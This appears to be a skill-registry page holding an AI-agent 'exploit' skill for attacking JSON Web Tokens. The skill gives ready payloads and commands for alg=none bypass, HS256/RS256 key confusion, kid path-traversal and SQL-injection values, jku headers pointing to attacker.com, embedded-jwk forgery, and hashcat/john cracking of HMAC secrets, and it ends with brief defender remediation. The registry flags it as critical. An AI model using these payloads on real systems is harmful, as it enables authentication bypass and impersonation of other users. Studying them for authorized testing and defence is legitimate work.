CtrlK
BlogDocsLog inGet started
Tessl Logo

jwt

JSON Web Token attacks — algorithm confusion (alg=none, HS256↔RS256), kid header injection, JWKS spoofing, weak HMAC secret cracking, signature stripping.

65

Quality

78%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/web/jwt/SKILL.md
SKILL.md
Quality
Evals
Security

JSON Web Token Attacks

JWTs are signed (HS256/RS256/ES256) or sometimes mis-configured to accept none. The header carries the alg + optionally kid/jku/x5u references. Each is a potential exploitation surface.

1. Anatomy

header.payload.signature — each base64url. Decode w/ jwt_tool or jwt-cracker:

jwt_tool eyJhbGc...   # decode + verify + tamper modes
echo "$JWT" | cut -d. -f1-2 | tr '_-' '/+' | base64 -d 2>/dev/null

2. Attack surface

2.1 alg=none bypass

Set {"alg":"none"} in header, strip signature, send header.payload.:

jwt_tool $JWT -X a    # alg=none attack

Worked on auth0 / pyjwt / many home-rolled libs pre-2017. Still appears in legacy systems.

2.2 HS256 vs RS256 confusion

Server uses RS256 (asymmetric) and verifies w/ public key. Attacker switches alg to HS256 and signs w/ the public key (which the server will use as the HMAC secret):

# Get the public key
curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]'
# Or pull from a redirect / unauth /pubkey endpoint

jwt_tool $JWT -X k -pk public.pem   # alg confusion attack

2.3 kid header injection

kid (key ID) sometimes resolves to a file path or DB key:

{"alg":"HS256","kid":"../../../dev/null"}     // sign with empty content
{"alg":"HS256","kid":"key1' UNION SELECT 'mykey"}  // SQLi in kid lookup

jwt_tool -X i -I -hc kid -hv path chains kid injection variants.

2.4 jku / x5u URL injection

jku (JWK Set URL) tells the server WHERE to fetch keys. If unvalidated, attacker hosts their own:

{"alg":"RS256","jku":"https://attacker.com/jwks.json"}

Then https://attacker.com/jwks.json returns attacker's public key, signed JWT is "valid".

Bypass URL filters via:

  • subdomain confusion (https://target.com.attacker.com/jwks.json)
  • userinfo (https://attacker.com@target.com/jwks.json)
  • redirect chains via target's open-redirect

2.5 Weak HMAC secret

HS256 with weak secret crackable offline:

hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
john --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt

Hashcat mode 16500 = JWT. Service-account secrets often dev/secret/ changeme/company-name patterns.

2.6 Signature stripping (Express.js / older Go libs)

Some libraries verify only IF a signature is present. Strip it:

header.payload.    ← trailing dot, no sig

2.7 Embedded jwk header

jwk in header (vs jku pointer) — attacker embeds their own pub key:

{"alg":"RS256","jwk":{"kty":"RSA","n":"<attacker_pub>","e":"AQAB"}}

Old node-jsonwebtoken accepted this.

3. Detection in recon

JWT presence signals:

  • Authorization: Bearer eyJ... headers
  • access_token=eyJ... / id_token=eyJ... URL params or cookies
  • .well-known/jwks.json endpoint exposed
  • .well-known/openid-configuration discovery doc

4. PoC pattern (Burp + jwt_tool)

  1. Capture authenticated request
  2. jwt_tool <JWT> -M at -t <target_url> — runs all tests (alg=none, alg confusion, signature strip, weak HMAC dictionary)
  3. For positive results, replay manually via Burp Repeater to confirm
  4. Document the modified JWT + decoded admin claims as PoC

5. Severity calibration

BugTypical severity
alg=none accepted on user → admin claim swapCritical 9.8
HS256↔RS256 confusion → arbitrary user impersonationCritical 9.8
jku to attacker URL acceptedCritical 9.8
Weak HMAC secret cracked offline (admin role)Critical 9.8
kid SQLi → DB enumerationHigh 8.0
Signature stripping acceptedCritical 9.8

6. Defender remediation

// Node: jsonwebtoken
jwt.verify(token, publicKey, {
    algorithms: ['RS256'],      // EXPLICIT — never accept "none" or HS256 here
    audience: 'api://my-service',
    issuer: 'https://auth.mycorp.com',
});

// Python: PyJWT 2.0+
jwt.decode(token, public_key, algorithms=['RS256'])  // explicit algorithm

// Validate kid / jku come from a known-good fixed set, NEVER user-controlled lookup

Cross-references

  • Upstream catalog: skills/_corpus/payloads/JSON Web Token/
  • jwt_tool: https://github.com/ticarpi/jwt_tool

Known exemplars

  • Auth0 alg=none (2015) — historical CVE-2015-2951 era
  • Multiple Github bounty $5-15k for HS256/RS256 confusion in 2018-2021
  • Atlassian 2022: JWT validation bypass in JIRA cloud → admin
  • Several HackerOne $20k+ reports on kid path-traversal + jku to attacker host
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.